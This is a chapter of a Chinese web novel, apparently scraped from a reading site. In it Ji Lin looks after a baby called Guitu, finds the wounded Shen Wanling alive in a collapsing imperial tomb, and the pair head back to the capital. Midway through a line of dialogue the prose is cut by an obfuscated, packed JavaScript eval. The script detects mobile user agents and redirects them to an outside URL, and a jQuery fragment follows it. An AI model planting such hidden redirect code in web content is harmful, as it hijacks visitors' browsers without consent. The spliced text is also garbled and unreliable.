28. 第 28 章

作品:《被迫和话痨男密探假成亲

    “姑爷……”福伯的拿着烟袋锅的手抖了抖,声音哑得不成调,“先、先离开这儿……”


    季临没动,眼睛直勾勾盯着废墟:“我想等等她。”


    福伯张了张嘴,最终只是重重叹了口气。


    婴儿“哇哇”大哭,手重重地拍在了季临脸上。


    季临终于回过神,手忙脚乱地脱下外袍裹住孩子:“这孩子……云娘子说是……先帝血脉……!”


    他顿了顿,突然瞪大眼睛:“等等,先帝不是早驾崩了吗?这孩子哪儿来的?谁生的?!石头里蹦出来的?”


    福伯被口水呛得直咳嗽:“姑爷!慎言!”


    婴儿“哇”地吐了个泡泡,权当回答。


    远处传来脚步声,幸存的玄甲军旧部互相搀扶着赶来。


    周淮安脸色惨白,肩上一片红:“将军她……”


    季临鼻子一酸,赶紧低头假装逗孩子:“侯爷让我们先走。”他说得斩钉截铁,仿佛这样就能成真。


    众人沉默。


    怀里的婴儿突然伸出小手,一把揪住他散落的头发。


    “嘶——小祖宗松手!”季临龇牙咧嘴,“你这手劲儿跟头牛似的!”


    福伯突然道:“姑爷,这孩子该有个名字。”


    季临望着远处渐渐平息的烟尘,鬼使神差道:“叫归途吧……就叫归途。”


    众人更沉默。这名字太沉重,像块石头压在心头。


    婴儿却咯咯笑了,仿佛很满意。


    三日后,西北边陲小镇,到处都是伤兵和伤残的百姓。整个玉门关成了废墟,守军和百姓死伤大半,几乎成了炼狱。幸存的人都逃到了这个小镇。


    玄甲军众人联系旧部,救助百姓,顺便寻找沈完令的踪影,季临在家带孩子。


    季临蹲在客栈后院,试图用勺子给归途喂米汤。孩子扭来扭去,米糊糊糊了两人一身。


    “小祖宗,你比影子难对付多了!”季临抓狂,“我练枪都没你这么能折腾!”


    福伯手里端着给季临的面,见状直摇头:“姑爷,得托着脖子喂。”


    季临手忙脚乱地调整姿势,结果孩子“噗”地喷了他一脸米汤。


    李木拄着拐杖啃着馍馍路过,幸灾乐祸:“姑爷,您这带娃手艺比打架差远了啊!”


    季临抹了把脸,突然福至心灵:“李木!你侄媳妇不是刚生吗?快来示范!”


    李木灵活地带着拐杖后退三步:“我侄媳妇生的可是闺女,可好带了!哪像这小崽子,嗓门比战鼓还响!”


    福伯把面放在桌子上,接过归途:“姑爷先吃饭,实在不行,就去寻个奶娘。”


    正说着,周淮安匆匆进来,压低声音:“有消息了!在废墟不远处发现了密道,似乎有人出入的痕迹!”


    季临猛地站起来,桌上的面差点被打翻,吓得瘸腿的李木赶紧扑过来扶住。


    季临声音发颤:“是……侯爷……吗?”


    周淮安摇头:“不确定,但密道通往……”


    “哪儿?”


    “皇陵。当今圣……当今给自己修的皇陵。”


    季临脑子“嗡”的一声。


    皇陵?皇上,或者说那个老妖怪,他难道还没死透?不然皇陵里为什么有人?那沈完令怎么样了?


    福伯把孩子塞进季临怀里:“姑爷,您看孩子,老朽带人去探探。”


    “一起去!”季临又把孩子往李木怀里一塞,“你带孩子经验丰富,先带着!”


    李木手忙脚乱地抱着哇哇大哭的婴儿,表情活像捧了颗炸弹:“姑爷!这不合规矩!我哪里带过孩子了?”


    季临已经穿好大氅冲出门:“就当提前练手!”


    李木:“???”


    一行人直奔关外。整个玉门关连带着附近一代全成了废墟,那场惊天动地的倒塌后,地形地貌都变了个样。


    而皇陵入口,也就是在这个时候显露出来的。


    皇陵入口的石门紧闭,上面刻着繁复的符文和图案。


    季临凑近一看,仔细辨认,乐了:“这画的是猫?老妖怪的审美挺别致啊!”


    福伯用烟袋锅点了点某处凹陷:“姑爷,应该要用玉佩。”


    季临一愣,他的玉佩都交给了沈完令。


    但是找玉佩他熟练啊!


    他熟练地从裹着归途的青铜猫里抠出玉佩,刚按上去,石门“轰隆”移开,阴风扑面而来。


    他缩了缩脖子:“这欢迎仪式够阴间的,不愧是老妖怪给自己准备的,名副其实……”


    甬道两侧是鲸鱼油灯,福伯用火把把将它们点亮。瞬间,整个甬道亮如白昼,照得墙上的壁画分毫毕现。


    季临凑上去细看,最先的是老妖怪的功绩,哼!吹牛的!他直接略过。


    再往里,是先帝的,可是却被人刻意刮花,只余下半截。先帝怀里抱着个青铜物件,形状像猫,又像婴儿。


    “老妖怪什么意思……”


    福伯突然拽住他:“嘘。”


    前方传来“咔嗒咔嗒”的声音,像是有什么东西在爬行。


    季临汗毛倒竖,摸出匕首:“不会又是影子吧?”


    甬道的尽头黑暗中亮起两点蓝光,紧接着就能看到小玄踱步而出,嘴里叼着半截红缨枪穗!


    “小玄!”季临扑过去,“侯爷呢?”


    小玄甩了甩尾巴,把枪穗甩给季临,随后转身带路。


    众人跟着它七拐八绕,最终停在一间墓室前。门缝里透出微光,隐约有人声。


    季临的心跳快得几乎要蹦出来。他深吸一口气,猛地推开门。


    沈完令正坐在棺椁上包扎手臂,闻声抬头,右眉那道疤在火光中格外清晰。


    “侯爷!!!”季临一个箭步冲过去,差点被自己绊倒,“您没死!不是,您还活着!我就知道您肯定……”


    沈完令单手接住他扑过来的身影:“嗯。”


    就这一个字,季临的眼泪“唰”地下来了。


    他死死攥着沈完令的衣襟,哭得像个孩子:“您吓死我了!您之前说的那话,和个遗言一样。然后破庙那边全塌了,埋得严严实实。您影子都找不着……这三天您知道我怎么过的吗?那小崽子比影子还有老妖怪都还能闹……”


    沈完令任由他嚎啕,手指轻轻拂过他发顶:“一会嗓子该疼了。”


    季临立刻闭嘴,低下头,但是头顶的那根犟毛却是一飘一飘的。


    沈完令轻轻叹了口气,把他拥入怀中。


    季临把脸埋进她的颈窝,眼泪“吧嗒吧嗒”地砸在她颈窝里。


    那温度烫得吓人,烫得沈完令的心都疼了。


    她似乎想说什么,最终只是用没受伤的手拍了拍他的后背,像哄孩子似的:“嗯,我回来了。”


    季临哭得更凶了。


    福伯熟练地给沈完令处理伤口,边包扎边嘀咕:“这伤……是被梵文灼的?”


    沈完令“嗯”了一声:“皇……了尘临死反扑,想拉我进时空乱流。”


    季临闻言手一抖,赶紧抬头,眼角还挂着泪珠:“那老妖怪死了?”


    “死了。”沈完令指了指角落。


    季临这才注意到地上堆着件龙袍,里面裹着团黑灰,风一吹就散了。


    周淮安蹲下身检查:“魂飞魄散?”


    沈完令点头:“枪纂上有往生咒。”


    季临长舒一口气,但很快又一惊一乍地跳起来:“那老妖怪没下毒吧?不对,应该叫他老毒虫!”


    沈完令摸了摸他的头:“没有。”


    季临立刻被安抚住了,他左看看右看看,目光落到她身旁的红缨枪上,枪纂裂了道缝,上面的梵文暗淡无光。


    他喉头发紧:“侯爷,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022016|176007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    枪……”


    “嗯,坏了。”沈完令语气平静,仿佛在说“今天吃面”。


    不知怎么的,季临心一抽一抽的疼,这把枪,侯爷视若珍宝,而现在……


    他征征地看着沈完令,眼睛里全是心疼。


    而沈完令也静静地看着他。


    墓室里静悄悄的。


    福伯突然咳嗽一声:“侯爷,咱们是不是该……”


    沈完令起身:“先出去。”


    几人刚踏出墓室,身后突然传来“轰隆”一声,整个皇陵开始坍塌!


    季临条件反射,拽着沈完令就跑:“这老妖怪死了还要搞塌方?!还想拉个垫背的?!”


    小玄窜在最前面带路,众人狼狈不堪地冲出陵墓。


    “轰隆”一声,整个皇陵彻底坍塌!整个土丘倾泻而下,很快就将皇陵埋在沙底,再无任何踪迹。


    季临目瞪口呆,心跳加速,开始眩晕,他下意识抓住了沈完令的手,又蓦然收紧。


    他又想起了三天前的场景,似乎看到了沈完令被埋在沙底、心疼得喘不过气来的自己;又似乎看到了深渊底那一具又一具死不瞑目的尸体;也似乎看到了玉门关那断臂残肢横飞的场景……


    他呼哧呼哧地喘着粗气,感觉自己几乎要窒息了。


    沈完令察觉到了他的一样,一把把他拥进怀里,轻轻地摸着他的后脑勺:“没事了,季临,我没事,大家也没事。”


    季临再次把头埋进她的脖颈,鼻尖全是那股熟悉的木檀香味。在这股味道的围绕下,所有的噩梦和血腥场景,慢慢远去……


    忽然,远处传来整齐的马蹄声,尘土飞扬,是玄甲军旧部带着援兵来了。


    季临猛地抬头,手忙脚乱地擦干净脸上的泪水,抬头一看,只见李木骑马冲在最前,怀里抱着个哇哇大哭的娃娃。


    “姑爷!侯爷!”他声嘶力竭,“这小祖宗我实在哄不住啊!”


    归途的哭声穿透力极强,连马匹都吓得直甩头,烦躁不安。


    沈完令上前接过孩子,说来也怪,那小崽子一到她怀里立刻止哭,眨巴着大眼睛吐泡泡。


    季临偷偷擦点最后一滴眼泪,有点酸溜溜的:“这小没良心的,我喂他三天米汤,还不如侯爷一个眼神!”


    沈完令低头看了看孩子,突然道:“像先帝。”


    季临瞪大眼睛:“您见过先帝?”


    “嗯,幼时随祖父入宫。”沈完令顿了顿,“先帝晚年痴迷长生,常抱着青铜猫自言自语。”


    季临福至心灵:“所以这孩子真是先帝血脉?可年龄对不上啊!”先帝都死了这么多年,怎么还有个刚满月的儿子?


    沈完令摇头:“云娘子用时空装置将他带出来的。”


    季临脑子转不过来了:“这算什么?薛定谔的孩子?!过去的孩子也是现在的孩子?”


    沈完令:“……还是先回去吧。”


    修整一天后,众人踏上了回京的路途。


    回京的马车上,季临捧着裂开的红缨枪跃跃欲试:“侯爷,这枪我给你修修?”


    沈完令闭目养神:“不必。”


    “可这是您祖父给您的!”季临急道,“要不我试试现代……呃,西域焊接技术?”


    沈完令睁眼,从怀中取出块青铜碎片递给他:“不用了,你看看这个。”


    季临接过一看,是皇陵壁画上先帝抱着的青铜猫的碎片,也就是那天包着归途的青铜碎片。


    只见内侧刻着一行极小的字。


    季临眯眼念道:“‘观测者存,因果者明’……这又是什么谜语?”


    沈完令没回答,只是掀开车帘望向远处。


    风带着雪粒子而来,冷冷地拍在她的脸上。


    她放下车帘,吐出一句:“也许真正的考验才刚刚开始。”


    季临心底“咯噔”了一下。